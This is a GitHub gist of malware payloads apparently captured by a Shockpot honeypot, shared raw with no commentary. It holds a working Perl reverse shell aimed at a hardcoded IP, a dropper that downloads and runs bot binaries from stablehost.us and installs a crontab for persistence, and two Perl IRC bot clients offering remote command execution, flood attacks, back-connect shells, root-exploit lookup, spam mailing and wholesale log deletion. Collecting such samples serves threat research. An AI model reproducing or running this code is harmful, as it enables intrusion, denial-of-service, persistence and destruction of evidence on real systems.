Skip to content

Instantly share code, notes, and snippets.

@jatrost
Last active August 29, 2015 14:07
Show Gist options
  • Save jatrost/9814062ccf4f02a925a1 to your computer and use it in GitHub Desktop.
Save jatrost/9814062ccf4f02a925a1 to your computer and use it in GitHub Desktop.
Shockpot captured Payloads
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 [email protected]
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. The author accepts no liability
# for damage caused by this tool. If these terms are not acceptable to you, then
# do not use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. If these terms are not acceptable to
# you, then do not use this tool.
#
# You are encouraged to send comments, improvements or suggestions to
# me at [email protected]
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache normally).
#
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '46.246.34.82';
my $port = 1992;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
$ENV{"PATH"} = "/usr/bin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/sbin";
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
killall perl
wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;
gcc -o /tmp/a /tmp/a.c;
/tmp/a;
rm -rf /tmp/a.c;
wget http://stablehost.us/bots/a -O /tmp/a;
curl -o /tmp/a http://stablehost.us/bots/a;
chmod +x /tmp/a;
/tmp/a;
wget http://stablehost.us/bots/darwin -O /tmp/d;
curl -o /tmp/d http://stablehost.us/bots/darwin;
chmod +x /tmp/d;
/tmp/d;
wget http://stablehost.us/bots/pl -O /tmp/pl;
curl -o /tmp/pl http://stablehost.us/bots/pl;
perl /tmp/pl;
rm /tmp/pl;
echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;
#!/usr/bin/perl
my $processo =("[cpuset]","","[sync_supers]");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("x", "y", "z", "w" );
my @hostauth=("local");
my @canais=("#b");
chop (my $nick = `uname`);
my $servidor="3.4.5.6";
my $ircname =("g");
my $realname = ("g");
my $porta='80';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick|".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
sendraw("PART $_[0]");
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
}
#!/usr/bin/perl
###########################################################
#-PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--#
###########################################################
# Legend Bot [2011] DO NOT FUCKIN SHARE! #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# Commands: #
# !legend @system #
# !legend @rootable #
# !legend @cleanlogs #
# !legend @socks5 #
# !legend @nmap <ip> <beginport> <endport> #
# !legend @back <ip><port> #
# !legend @sqlflood <host> <time> #
# !legend @udp <host> <packet size> <time> #
# !legend @udp2 <host> <packet size> <time> <port> #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
###########################################################
###########################################################
####################[Configuration]########################
###########################################################
my $sshuser = $argv[0];
my $sshpass = $argv[1];
my $sshhost = $argv[2];
my $hidden = 'core';
my $linas_max='4';
my $sleep='5';
my @admins=("god","ARZ","Zax");
my @hostauth=("legend.rocks");
my @channels=("#apache");
my $nick= 'BASH';
my $ircname ='B';
my $realname = '$uname';
my $server='chaos.legend.rocks';
my $port='7777';
###########################################################
####################[Configuration]########################
###########################################################
####################[lets start..]#########################
###########################################################
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$0="$hidden"."\0"x16;;
my $pid=fork;
exit if $pid;
die "fork problem: $!" unless defined($pid);
###########################################################
####################[lets start..]#########################
###########################################################
####################[Connecting...]########################
###########################################################
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $server_con = $_[1];
my $port_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
###########################################################
####################[Connecting...]########################
###########################################################
####################[..Connected..]########################
###########################################################
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION Legend IRC [2010]\001");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @admins) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!legend)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick-".int rand(9999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $channel (@channels) {
sendraw("JOIN $channel sexy");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Hostname: $sshhost Username: $sshuser Password $sshpass2:.4");
}
}
}
###########################################################
####################[..Functions..]########################
###########################################################
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
###########################################################
######################[..@system..]########################
###########################################################
if ($funcarg =~ /^system/) {
$uname=`uname -a`;
$uptime=`uptime`;
$ownd=`pwd`;
$distro=`cat /etc/issue`;
$id=`id`;
$un=`uname -sro`;
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Uname -a: 14 $uname");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Uptime: 14 $uptime");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Process: 14 $hidden");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2ID: 14 $id");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Dir: 14 $ownd");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2OS: 14 $distro");
}
###########################################################
######################[..@system..]########################
###########################################################
###########################################################
######################[.@portscan.]########################
###########################################################
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 Scanning for open ports on ".$1." 12 started .");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 Open ports founded: @aberta");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 No open ports foundend.");
}
}
###########################################################
######################[.@portscan.]########################
###########################################################
###########################################################
######################[.@tcpflood.]########################
###########################################################
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4TCP2:.4 TCP Attacking14 ".$1.":".$2." 2for4 ".$3." 2seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4TCP2:. 4TCP Attack done 14".$1.":".$2.".");
}
###########################################################
######################[.@tcpflood.]########################
###########################################################
###########################################################
#####################[.@httpflood.]########################
###########################################################
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4HTTP2:. 4HTTP Attacking14 ".$1." 4for4 ".$2." 2seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4HTTP2:. 4HTTP Attacking done ".$1.".");
}
###########################################################
#####################[.@httpflood.]########################
###########################################################
###########################################################
######################[.@sqlflood.]########################
###########################################################
if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4SQL2:.4 Attacking 4 ".$1." 14 on port 3306 for 4 ".$2." 2 seconds .");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4SQL2:.4 Attacking done 14 ".$1.".");
}
###########################################################
######################[.@sqlflood.]########################
###########################################################
###########################################################
######################[.@udpflood.]########################
###########################################################
if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP2:.4 UDP Attacking14 ".$1." 4with2 ".$2." 2KB(s) for4 ".$3." 2seconds.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP2:.4 UDP Sent14 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 2Kb in4 ".$dtime." 2seconds to ".$1.".");
}
###########################################################
######################[.@udpflood.]########################
###########################################################
###########################################################
######################[.@udp2flood.]########################
###########################################################
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP22:.4 UDP2 Attacking14 ".$1.":".$4." 2with4 ".$2." 2KB(s) for4 ".$3." 2seconds.");
my ($dtime, %pacotes) = udpflooder2("$1", "$2", "$3","$4");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP22:.4 UDP2 Sent14 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 2Kb in4 ".$dtime." 2seconds to ".$1.".");
}
############################################################
###########################################################
######################[.@cleanlogs.]#######################
###########################################################
if ($funcarg =~ /^cleanlogs/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 This process can be long2,4 just wait2!");
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 All default log and bash_history files erased");
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 Now Erasing the rest of the machine log files");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 Done! All logs erased");
}
###########################################################
######################[.@cleanlogs.]#######################
###########################################################
###########################################################
########################[..@back..]########################
###########################################################
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
if ($estatisticas){
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Back Connect2:.14 Connecting to 2 $host:$porta");
}
}
###########################################################
########################[..@back..]########################
###########################################################
###########################################################
#######################[.@rootable.]#######################
###########################################################
if ($funcarg =~ /^rootable/) {
my $khost = `uname -r`;
my $currentid = `whoami`;
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 Currently you are ".$currentid." ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 The kernel of this box is ".$khost." ");
chomp($khost);
my %h;
$h{'w00t'} = {
vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
};
$h{'brk'} = {
vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
};
$h{'ave'} = {
vuln=>['2.4.19','2.4.20']
};
$h{'elflbl'} = {
vuln=>['2.4.29']
};
$h{'elfdump'} = {
vuln=>['2.4.27']
};
$h{'expand_stack'} = {
vuln=>['2.4.29']
};
$h{'h00lyshit'} = {
vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
};
$h{'kdump'} = {
vuln=>['2.6.13']
};
$h{'km2'} = {
vuln=>['2.4.18','2.4.22']
};
$h{'krad'} = {
vuln=>['2.6.11']
};
$h{'krad3'} = {
vuln=>['2.6.11','2.6.9']
};
$h{'local26'} = {
vuln=>['2.6.13']
};
$h{'loko'} = {
vuln=>['2.4.22','2.4.23','2.4.24']
};
$h{'mremap_pte'} = {
vuln=>['2.4.20','2.2.25','2.4.24']
};
$h{'newlocal'} = {
vuln=>['2.4.17','2.4.19','2.4.18']
};
$h{'ong_bak'} = {
vuln=>['2.4.','2.6.']
};
$h{'ptrace'} = {
vuln=>['2.2.','2.4.22']
};
$h{'ptrace_kmod'} = {
vuln=>['2.4.2']
};
$h{'ptrace24'} = {
vuln=>['2.4.9']
};
$h{'pwned'} = {
vuln=>['2.4.','2.6.']
};
$h{'py2'} = {
vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
};
$h{'raptor_prctl'} = {
vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
};
$h{'prctl3'} = {
vuln=>['2.6.13','2.6.17','2.6.9']
};
$h{'remap'} = {
vuln=>['2.4.']
};
$h{'rip'} = {
vuln=>['2.2.']
};
$h{'stackgrow2'} = {
vuln=>['2.4.29','2.6.10']
};
$h{'uselib24'} = {
vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
};
$h{'newsmp'} = {
vuln=>['2.6.']
};
$h{'smpracer'} = {
vuln=>['2.4.29']
};
$h{'loginx'} = {
vuln=>['2.4.22']
};
$h{'exp.sh'} = {
vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
};
$h{'prctl'} = {
vuln=>['2.6.']
};
$h{'kmdx'} = {
vuln=>['2.6.','2.4.']
};
$h{'raptor'} = {
vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
};
$h{'raptor2'} = {
vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
};
foreach my $key(keys %h){
foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
if($khost=~/^$kernel/){
chop($kernel) if ($kernel=~/.$/);
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4r00table2:.14 Possible Local Root Exploits: ". $key ." ");
}
}
}
}
###########################################################
#######################[.@rootable.]#######################
###########################################################
###########################################################
#######################[.@sendmail.]#######################
###########################################################
if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Mailer2:.14 Sending Mail to : 2 $3");
$subject = $1;
$sender = $2;
$recipient = $3;
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "@corpo\n\n";
close (SENDMAIL);
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Mailer2:.14 Mail Sent To : 2 $recipient");
}
